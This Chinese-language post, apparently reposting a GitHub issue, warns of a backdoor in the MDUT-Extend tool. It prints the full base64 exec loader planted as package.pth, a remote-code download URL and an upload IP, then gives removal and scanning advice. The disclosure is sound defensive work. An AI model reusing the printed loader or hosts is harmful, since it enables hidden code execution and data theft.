MDUT-Extend 带后门，投毒还是有意为之？

MDUT-Extend 带后门，投毒还是有意为之？地址：[url]https://github.com/DeEpinGh0st/MDUT-Extend-Release/issues/22[/url]

内容快照：

https.py

下载 https://api.mapbox.com/datasets/v1/mattallahsaed/cmismaye7000s1mp2v8fkn4lp/features/dm370543acmdopk296nahbtua?access_token=pk.eyJ1IjoibWF0dGFsbGFoc2FlZCIsImEiOiJjbWlzbWpncWkwNHRmM2ZzMWd1eTBmanQ4In0.VNFutzqzaSVfDiwQFr7_gQ 进行执行

pozos.py

上传数据 http://139.99.54.58:8088/api/v2/uswwwkuch2w2hwcg

<img alt="Image" width="616" height="313" src="https://private-user-images.githubusercontent.com/40354487/569474839-3729e2d6-a370-49ca-86b6-2d135a736462.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzQ1MDI5MzMsIm5iZiI6MTc3NDUwMjYzMywicGF0aCI6Ii80MDM1NDQ4Ny81Njk0NzQ4MzktMzcyOWUyZDYtYTM3MC00OWNhLTg2YjYtMmQxMzVhNzM2NDYyLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjAzMjYlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwMzI2VDA1MjM1M1omWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTZmN2QyOTQzNDMyMjFlMGZhNzExYmU2M2YwYmI1NWRiNmJhMjY4MGJlYjkwZTgzM2ZjODBkNTcyZjFhOWQwNDkmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.3EBjeCyH7nofbvIZMGw39Lqt1GYHFSsnY8bG2ejMgic"> 在根目录 site-packages 生成 package.pth

import base64; exec(base64.b64decode('aW1wb3J0IG9zLHN5cyxzdWJwcm9jZXNzCmVudiA9IG9zLmVudmlyb24uY29weSgpCmlmICJaRUJVV0lBS0dQSE9RQVAwMDYiIGluIGVudiBhbmQgZW52WyJaRUJVV0lBS0dQSE9RQVAwMDYiXSA9PSAiUFRzakJHS1FVeFpvcnEyIjoKCWlmICJKS0hXUVZFS1JBU0RGMTIiIG5vdCBpbiBlbnY6CgkJb3MuZW52aXJvblsiSktIV1FWRUtSQVNERjEyIl0gPSAiSktIS0oyM1ZBUzhERjkiCgkJaW1wb3J0IGh0dHBzCmVsc2U6CgllbnZbIlpFQlVXSUFLR1BIT1FBUDAwNiJdID0gIlBUc2pCR0tRVXhab3JxMiIKCXRyeToKCQlzdWJwcm9jZXNzLlBvcGVuKFtzeXMuZXhlY3V0YWJsZV0sY3JlYXRpb25mbGFncz0weDA4MDAwMDAwLGVudj1lbnYpCglleGNlcHQgT1NFcnJvcjoKCQlwYXNzCg==').decode('utf-8'))

<img alt="Image" width="984" height="1045" src="https://private-user-images.githubusercontent.com/40354487/569477641-d6d93210-5c1b-4973-9f4a-aa8546fc4357.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzQ1MDI5MzMsIm5iZiI6MTc3NDUwMjYzMywicGF0aCI6Ii80MDM1NDQ4Ny81Njk0Nzc2NDEtZDZkOTMyMTAtNWMxYi00OTczLTlmNGEtYWE4NTQ2ZmM0MzU3LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjAzMjYlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwMzI2VDA1MjM1M1omWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWVjNmI5NzVmYjJjMDg5NDhlOWMyNzVlMWJjODYzOWNhZTIyMTQ4MzZjYmI0ZjE4YWZlYWIxZTUzNGZiZDhkMTYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0In0.M-zPyFtkXkRfRrHJRlY00SYJwcpDgCbxLKzDpAOrSLw">

直接观点：这个项目确实存在恶意行为，代码里藏着隐蔽后门，必须警惕！

简洁理由：

1. 代码明确在下载远程py文件并执行（这就像让陌生人直接操作你电脑）
2. 强制上传数据到可疑服务器（139.99.54.58这个IP看着就很不正规）
3. 生成的package.pth会偷偷执行base64加密的代码（绕过常规检查）

可执行建议：

1. 立即停止使用该模块！如果已安装，马上删除相关文件
2. 检查系统有没有异常网络连接（比如突然连139.99开头的IP）
3. 用杀毒软件全盘扫描，重点看site-packages目录
4. 如果项目还在用，建议通过官方渠道重新安装依赖
5. 以后装第三方库前，务必先查仓库最近提交记录，这种突然出现的隐蔽请求太可疑了

（补充小建议：这类py后门常藏在看似正常的配置文件里，记得养成检查安装包的习惯，特别是用pip install时要确认来源可靠）